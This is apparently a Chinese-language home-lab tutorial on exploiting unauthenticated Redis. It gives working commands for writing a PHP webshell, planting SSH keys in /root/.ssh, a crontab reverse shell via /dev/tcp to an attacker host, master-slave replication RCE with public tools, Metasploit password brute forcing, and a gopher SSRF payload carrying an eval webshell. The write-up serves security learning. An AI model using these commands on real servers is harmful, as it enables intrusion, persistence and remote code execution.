-
目标机:ubuntu20lts,攻击机:windows11
-
redis服务搭建在ubuntu上https://www.cnblogs.com/bmjoker/p/9548962.html
-
redis客户端搭建在win11https://blog.csdn.net/weixin_44893902/article/details/123087435
-
这ssh真的难弄,下一篇单开一篇ssh的报告,来解决redis打ssh的问题
redis概念
- Redis(Remote Dictionary Server)是一个开源的,基于内存的高性能键值存储系统。它提供了持久化的数据存储,并支持多种数据结构,如字符串、哈希表、列表、集合和有序集合等。redis有以下特点
- 高性能:Redis是一个基于内存的数据库,数据存储在内存中,因此读取和写入的速度非常快。它使用了高效的数据结构和算法,能够在毫秒级别处理大量的请求。
- 数据结构的灵活性:Redis支持多种数据结构,这使得开发人员可以根据需求选择最适合的数据结构来解决问题。例如,可以用Redis的哈希表实现缓存、用列表实现消息队列、用集合实现排行榜等。
- 持久化支持Redis可以将数据持久化到磁盘,确保数据在断电或服务器重启后不丢失。它提供了两种持久化方式:RDB快照和AOF日志。
- 分布式缓存:Redis 支持分布式缓存,可以将数据分布在多个节点上,提高了整个系统的扩展性和容错性。它具有内置的集群支持,可以通过添加更多的 Redis 节点来增加容量和吞吐量。
- 发布订阅功能:Redis提供了发布-订阅模式,允许多个客户端通过订阅频道来接收实时的消息,这对于构建实时通信系统、消息队列和事件驱动的应用程序非常有用。
- 应用场景广泛:基于Redis的特性,它在许多应用场景中都得到了广泛的应用,如缓存系统、实时分析、排行榜、会话存储、任务队列等。
- 简单来说,redis将数据表存储在内存中使得其数据读写速度极快(别的数据库没法比),并且还提供写入到硬盘的功能,防止断电导致内存中存的数据丢失,同时redis支持集群共同存储.
未授权攻击
-
Redis默认情况下是绑定在0.0.0.0:6379端口的,如果没有设置密码(一般密码为空)或者密码为弱密码的情况下并且也没有进行有效保护措施,那么处于公网的redis服务就会被任意的用户未授权访问(在redis3.2之后,redis增加了protected-mode,在这个模式下,非绑定IP或者没有配置密码访问时都会报错)
-
总之,目标要求满足
- Redis绑定在0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网
- 没有设置密码认证(默认为空)或者弱密码,可以免密码登录redis服务
-
那么这个漏洞就很好理解了,想想如果有个mysql的服务开在了公网,没有登入ip限制,而且某个数据库甚至root没有密码,可以怎么玩.redis的处境就是如此,而mysql默认是不允许127.0.0.1以外的ip登录的,所以不存在这个漏洞
-
拿靶机举个例子,ubuntu部署好之后打开默认配置文件redis.conf,搜索bind,发现bindip都被注释掉了,此时不对访问ip做出限制,即接收0.0.0.0(任何ip)的请求
- 那么我们在ubuntu启动服务端
服务端
redis-server /etc/redis.conf(改了程序位置所以可以这么用,要是懒得cv,直接把两个文件加绝对路径也可以)
- 服务开在了192.168.122.129:6379(和前面无回显rce反弹shell一样,本来要求服务端有公网,但是这里是nat下的局域网环境,所以可以直接连).最后连接成功,设置了一个id:drinkflower的键值对
客户端
redis-cli.exe -h 靶机IP -p 服务器端口(cmd启动命令)
.\redis-cli.exe -h 服务器IP -p 服务器端口(win10,win11用终端或者powershell启动得加个.\)
redis写马
-
得先了解一点点redis的语法
-
SET 命令用于设置指定 key 的值
语法:SET key value [EX seconds] [PX milliseconds] [NX|XX]
示例:SET mykey "Hello"
描述:设置 key 的值为指定的 value。可以使用可选参数来控制键的行为,如设置过期时间、设置毫秒级过期时间以及设
置仅在键不存在时才设置值(NX)或仅在键已存在时才设置值(XX)。
- GET 命令用于获取指定 key 的值。
语法:GET key
示例:GET mykey
描述:获取指定 key 的值。如果 key 不存在,返回 nil;如果 key 存在但对应的值不是字符串类型,返回错误。
- CONFIG SET 是 Redis 提供的一个命令,用于动态地修改 Redis 的配置参数值。通过 CONFIG SET 命令,你可以在不重启 Redis 服务器的情况下修改配置文件中的某些参数。
语法:CONFIG SET parameter value
例如,要修改 Redis 的最大内存限制配置参数 maxmemory,可以使用以下命令:
CONFIG SET maxmemory 1G
这将将 Redis 的最大内存限制设置为 1GB。
- 有以下配置值可以改
dir:指定 RDB 持久化文件的路径。
dbfilename:指定 RDB 持久化文件的名称。
appendfilename:指定 AOF 日志文件的名称。
maxmemory:限制 Redis 实例使用的最大内存量。
maxclients:限制连接到 Redis 服务器的最大客户端数量。
port:指定 Redis 服务器监听的端口。
bind:指定 Redis 服务器绑定的 IP 地址。
requirepass:设置连接 Redis 服务器所需的密码。
save:指定自动触发 RDB 持久化的条件。
loglevel:指定日志记录级别。
timeout:设置客户端连接超时时间。
- save命令用来将之前的所有键值对存储到文件
- 我们这里利用了RDB持久化来写入webshell,所以需要设置dir和dbfilename(注意目录不能有中文)
config get dir
config set dir /var/www/html/
config set dbfilename shell.php
set shell "\r\n\r\n<?php phpinfo();?>\r\n\r\n"
save
- 在写入webshell的时候,可以使用:\r\n来换行,有些redis版本写文件会自带一些版本文件,并且之前存的所有键值对都会被写到php里面,不换行可能导致php无法被正常解析.因为我的ubuntu没web环境,就不测试了
- 成功写入,访问一下
redis打ssh
攻击原理
- SSH是一种网络协议,用于计算机之间的加密登录。如果一个用户从本地计算机,使用SSH协议登录另一台远程计算机,我们就可以认为,这种登录是安全的,即使被中途截获,密码也不会泄露。
- ssh允许公钥登录和密码登录,密码登录就是日常的登录,公钥登录就是我们这里要打的
- 公钥登录的原理很简单,就是用户将自己的公钥储存在远程主机上。登录的时候,远程主机会向用户发送一段随机字符串,用户用自己的私钥加密后,再发回来。远程主机用事先储存的公钥进行解密,如果成功,就证明用户是可信的,直接允许登录shell,不再要求密码。
- 了解完ssh,那么原理就很简单了,我们在攻击机上面创建一对公钥和私钥,把公钥利用redis传到目标机上面,然后拿自己的私钥直接登录就可以ssh连接了
利用条件
- 这个利用需要满足以下条件:
- 目标机必须开了ssh服务,不然写了ssh公钥也没法登录
- Redis服务使用root账号启动,不然redis没有写ssh目录的权限
- 存在/root/.ssh目录,如果不存在我们可以先写木马连接蚁剑创建目录,不过可能进不去因为root目录权限问题,这里就自己mkdir一个目录,毕竟是自己搭建靶场练习。/root/.ssh是隐藏目录可以通过ls -la查看有没有。
准备工作
- 在练习的时候先看看开没开ssh,==使用下面的命令记得先把root权限拿了==
systemctl status ssh
(比如像这样就是压根没开ssh)
- 实战情况下别人服务器没开ssh肯定没办法,但是这里拿自己电脑做练习所以手动把它打开
先安装ssh服务
apt install openssh-server
再看一下ssh开没开
systemctl status ssh
- 完事之后检查一下自己靶机有没有防火墙
systemctl status ufw
(较高版本的ubuntu一般自带了的)
- 没有最好,如果有,使用下面的命令让防火墙放行ssh就ok辣
ufw allow ssh
linux创建密钥对
- 首先需要创建一对公钥和私钥,创建方式不唯一,比如linux下可以使用ssh命令创建
ssh-keygen -m PEM -t rsa -b 4096
顺序:
ssh-keygen \
-m PEM \
-t rsa \
-b 4096 \
-C "azureuser@myserver" \
-f ~/.ssh/mykeys/myprivatekey \
-N mypassphrase
解释:
ssh-keygen = 用于创建密钥的程序
-m PEM = 将密钥的格式设为 PEM
-t rsa = 要创建的密钥类型,本例中为 RSA 格式
-b 4096 = 密钥的位数,本例中为 4096
-C "azureuser@myserver" = 追加到公钥文件末尾以便于识别的注释。 通常以电子邮件地址用作注释,但也可以使用任何最适合你基础结构的事物。
-f ~/.ssh/mykeys/myprivatekey = 私钥文件的文件名(如果选择不使用默认名称)。 追加了 .pub 的相应公钥文件在相同目录中生成。 该目录必须存在。
-N mypassphrase = 用于访问私钥文件的其他密码。
- 然后要输入一个(原本不存在的)目录/文件名(终端会自动创建),因为公钥我们要cv出来,所以不要默认值,而是选一个方便找的位置,注意输入的目录一定要不存在,不然就会出现这样的情况
- 同时也要注意创建的目录名和原有的文件名有没有重复(我桌面本来有个名为1的文本文件,就冲突了),并且目录末尾不要加/,不然就会这样,笑死,看上去自相矛盾🤣
- 生成的文件应该是这样的,这里的.pub是公钥,另一个是私钥
- 密钥到这里就创建好了,可以先按照正常流程把公钥cv到目标机看看能不能ssh连接,控制变量法排除之后redis写公钥可能产生的错误
- 攻击机将公钥cv到主机,主机cv给靶机(vm不支持虚拟机到虚拟机😵💫),放到目标靶机的随便一个位置,再在终端进root后cp到/root/.ssh文件夹(可能不存在,需要创建)
cp ssh.pub /root/.ssh
- 根据默认的sshd_config文件(ssh配置文件),公钥的名字应该为authorized_keys,这个文件每一行就是一个公钥,所以改个名字
cp /root/.ssh/key.pub /root/.ssh/authorized_keys
- linux登录(windows登录直接用finalshell之类的带ui的软件就行辣),注意一般是登root,因为不好去猜别人的用户名
ssh -i ssh文件 用户名@IP
或者
ssh -i ssh文件 root@IP
- ==错误处理==
- 如果目标机的ssh没有经过专门配置,是不允许的ssh密钥登录,也不允许远程登录root的(用户名@ip,不加用户名也表示root登录),详细情况见(76条消息) 【Linux】ssh设置了密钥,但ssh登陆的时候还需要输入密码_ssh 用key登陆需要密码_zclinux_的博客-CSDN博客编辑 /etc/ssh/sshd_config 文件,进行如下设置(注意,改这个要root,直接vim改吧):
#允许密钥登录
#如果其中之一没有也不用管
#有井号要去掉
RSAAuthentication yes
PubkeyAuthentication yes
#允许root登录
#有井号要去掉
PermitRootLogin yes
- 如果没改就登录会像下面这样,提示输密码,输对了也不行
- 在第一次尝试时,我图方便在目标机里面生成了密钥对,然后想着把私钥拷到攻击机,但是因为权限问题报错了,终端进root可以动那个文件,但是终端不能把文件拷贝出VMware.而不用终端就没法动那个文件,我就chmod了那个文件.事实证明密钥的文件权限会影响ssh的登录,ssh登录要求以下文件权限
目标机(实战不用管,别人配好了的):
chmod 700 /root/.ssh (ssh目录700)
chmod 644 key.pub (公钥644)
攻击机(默认值不要去改,错了再改):
chmod 600 key (私钥600)
- 如果权限不对就会像下面这样,提示输密码,输对了也不行.所以一台机子要连接就创一个密钥对吧,别图方便😭
- 如果还是提示要输密码,那就是公钥名字没整对,看/etc/ssh/sshd_config配置文件里面的AuthorizedKeysFile值是多少,然后把公钥的名字改成那个
windows创建密钥对
- windows下可以使用openssl工具创建,可以参考我的另一篇FRP在WINDOWS下实现TLS – drinkflower's blog,
- 这里采用git来生成自己的ssh公钥与私钥,命令和linux都是差不多的,在桌面点击右键选择git bash here,执行和上面linux相同的命令,选择一下目录和文件名,不要密码
ssh-keygen -t rsa
- 如果需要连接,使用finalshell之类的带ui界面的终端即可
写入公钥
-
以linux举例,需要给linux也安一个redis-cli,kali直接输redis-cli,它会提示如何安装的
-
如果是windows将下面的cat换成type,redis-cli也要换,见机行事
-
把刚才测试用的公钥删掉
rm /root/.ssh/authorized_keys
- 将公钥处理一下,上面下面加俩/n,来把redis写入的其他信息隔开,上面提到authorized_keys一行是一个公钥,所以其他行的无关信息不影响本行的内容.(windows就直接cv加俩空行吧)
(echo -e "\n\n";cat key.pub;echo -e "\n\n") > key.txt
- 将公钥赋值给miao
cat key.txt | redis-cli -h 192.168.122.129 -p 6379 -x set miao
- 修改写入文件位置
redis-cli -h 192.168.122.129 -p 6379 config set dir /root/.ssh
- 这里需要redis是root开的,否则就会像下面这样
- 修改写入文件名
redis-cli -h 192.168.122.129 -p 6379 config set dbfilename authorized_keys
- 写入到文件
redis-cli -h 192.168.122.129 -p 6379 save
- ssh直接连,终于成功了😭
crontab反弹shell
基本概念
-
Crontab 是一个在 Linux 和类 Unix 系统上用于定时执行任务的功能。它允许用户创建、编辑、安排和管理周期性执行的任务。
-
Crontab 的主要用途是自动化重复性的任务,例如定期备份文件、数据清理、日志轮转等。通过使用 Crontab,可以按照指定的时间表配置任务,并由系统自动触发执行,无需手动操作。
-
命令行输入crontab -e会自动打开一个空文件:
crontab -e
-
创建任务就相当于vim打开了一个文件,所以输入a或者i可以进入编辑状态,Esc键+“:wq”保存编辑
-
保存成功的文件在/var/spool/cron/下面,命令被保存在crontabs文件里面
基本用法
- 以下是 Crontab 的基本用法:
- 查看当前用户的 Crontab:使用命令crontab -l可以查看当前用户的Crontab执行列表。
- 编辑或创建 Crontab:使用命令crontab -e可以编辑或创建当前用户的Crontab文件。这将打开一个类似于文本编辑器的界面,你可以在其中指定要执行的任务以及执行的时间表。
- 编写Crontab任务:应按照特定的格式编写Crontab任务,以指定任务的执行时间和要运行的命令。基本格式如下:
Copy Code* * * * * command
- 这些*分别表示
分钟 (0-59)
小时 (0-23)
日 (1-31)
月 (1-12)
星期几 (0-7,其中 0 和 7 都表示星期日)
- 例如,如果你想在每天的上午 9 点运行一个脚本,可以编写如下的 Crontab 任务,这将在每天的上午 9 点执行 /path/to/your/script.sh脚本。
Copy Code0 9 * * * /path/to/your/script.sh
- 保存和退出:完成 Crontab 的编辑后,保存并退出编辑器。系统将在指定的时间表触发任务的执行。
- 其他常用命令:
- crontab -r:删除当前用户的 Crontab。
- crontab -l:列出当前用户的 Crontab。
- crontab -u \
-l:列出指定用户名的 Crontab。
利用条件
- 首先crontab启动没有,可以先查看状态如果是running,那就不用管,如果不是就需要启动一下,一般而言crontab都是自启动的。所以一般来说不会是这个出问题。
service crond restart#重启
service crond start#启动
service crond stop#关闭
service crond status#查看状态
- 这里不一定是crond,不同环境下crond的名字可能不同,用以下命令进行查询
systemctl list-unit-files | grep cron
- 比如我这里查出来有个cron.service,所以服务名就是cron,为打开状态
- redis的缓存数据写入到文件有乱码这个问题无法解决的。在crontab中centos会忽略乱码去执行格式正确的任务计划,而ubuntu和debian并不会忽略这些乱码,所以导致命令执行失败。也就是说一般只能打centos
- root文件的权限必须为600,即rw———–,执行如下命令进行排查和更改.实战中别人如果用root写过,就不用管权限这些问题.
ls -l
chmod 600 root
- 这个应该是反弹shell的通病,后面反弹shell的报告会详细说.反弹shell都是弹的bash的shell,有些系统默认shell是dash,要求目标系统是bash的shell,可以根据以下指令查看和更改.实战中如果不是就没办法了
ls -al /bin/sh#查看运行环境
ln -s -f bash /bin/sh#修改为bash
- 不确定是不是必须条件,但是redis最好是root启动的
利用方式
-
所以同打ssh一样,打ssh是写公钥,这里就是写计划任务,实际上不需要写crontab文件,写一个名为root的文件,它自然会被执行的.
-
攻击机nc开个监听端口
nv -lvp 7777
- 设置写文件路径
config set dir /var/spool/cron/crontabs
- 设置文件名
config set dbfilename root
- 写入任务,这里的shell语句解释见后面的反弹shell的报告,\n\n是换行前面已经说过,因为redis会出现乱码,可以通过上传的root文件看到有乱码。
set xxx "\n\n* * * * * /bin/bash -i>&/dev/tcp/攻击机ip:端口 0>&1\n\n"
- 保存文件
save
- 因为我把redis装ubuntu上的,肯定写不了,这里就不测试了
主从复制
-
Redis 主从复制是一种用于数据备份和高可用性的机制,它允许将一个 Redis 主服务器的数据复制到一个或多个 Redis 从服务器中。在 Redis 主从复制中,主服务器负责处理写操作(写入和更新数据),而从服务器负责复制主服务器的数据,并提供读取操作。这样可以降低主服务器的负载,并提高整个系统的性能和可扩展性。
-
注意:只能用于4.x,5.x(最好攻击机和目标机都满足)
-
实际上我们只是利用了主从复制,目的并不只是复制别人的数据库,而是拿shell
-
下载脚本主体(kali下面)
git clone https://github.com/Ridter/redis-rce
- 脚本需要另一个文件才能启动
git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand.git
- 编译第二个下载文件,进到RedisModules-ExecuteCommand目录里面
make
- 将生成的moudle.so移动到redis-rce文件里面,进入redis-rce即可启动
python redis-rce.py -r 192.168.122.129 -p 6379 -L 192.168.122.129 -p 6379 -f module.so
#进入到redis-rce执行命令,-r是目标IP -L是攻击机ip ,攻击机也要装一个redis实现主从复制
- 其他参数
usage: redis-rce.py [-h] -r RHOST [-p RPORT] -L LHOST [-P LPORT] [-f FILE]
[-a AUTH] [-v]
Redis 4.x/5.x RCE with RedisModules
optional arguments:
-h, --help show this help message and exit
-r RHOST, --rhost RHOST
target host
-p RPORT, --rport RPORT
target redis port, default 6379
-L LHOST, --lhost LHOST
rogue server ip
-P LPORT, --lport LPORT
rogue server listen port, default 21000
-f FILE, --file FILE RedisModules to load, default exp.so
-a AUTH, --auth AUTH redis password
-v, --verbose show more info
(目标机版本不对,攻击机也不想再下redis-server了,就到此为止吧)
msf爆破密码
- msfdb 可以直接在 Linux 终端中使用。它是 Metasploit Framework 的一部分,并且可以通过命令行界面进行管理和操作。msfdb 需要正确配置和安装 Metasploit Framework 才能正常运行。我的kali自带了这个
- 开启msf
msfdb run
- 查看有关redis的模块
search redis
- 爆破redis密码是5号模块,就决定是你了
use 5
- 展示需要设置的参数
show options
- 设置目标机的ip
set RHOST 192.168.3.207
- 运行模块
run
gopher打redis
- 本身也是利用了redis未授权和redis可以写文件,只不过用了gopher协议,回头有空学习一下这个协议具体怎么生成的,这里整合一下把之前ssrf那道题拿过来
python2 gopherus.py --exploit redis
- 其中,参数还可以是
--exploit mysql
--exploit postgresql
--exploit fastcgi
--exploit redis
--exploit zabbix
--exploit pymemcache
--exploit rbmemcache
--exploit phpmemcache
--exploit dmpmemcache
--exploit smtp
- 使用gopherus脚本生成ssrf语句
python2 gopherus.py --exploit redis
What do you want?? (ReverseShell/PHPShell): phpshell
Give web root location of server (default is /var/www/html):(直接敲回车默认是例子)
Give PHP Payload (We have default PHP Shell): <?php eval($_POST[a];?>
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0
D%0A%2427%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_POST%5Ba%5D%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfi
g%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig
%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave
%0D%0A%0A
- 对_后面的再次进行url编码
gopher://127.0.0.1:6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250
D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252427%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%
2524_POST%255Ba%255D%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%25
0A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D
%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adb
filename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%2
50A
- 将ip和端口改成目标机redis的ip和端口,直接访问即可生成shell.php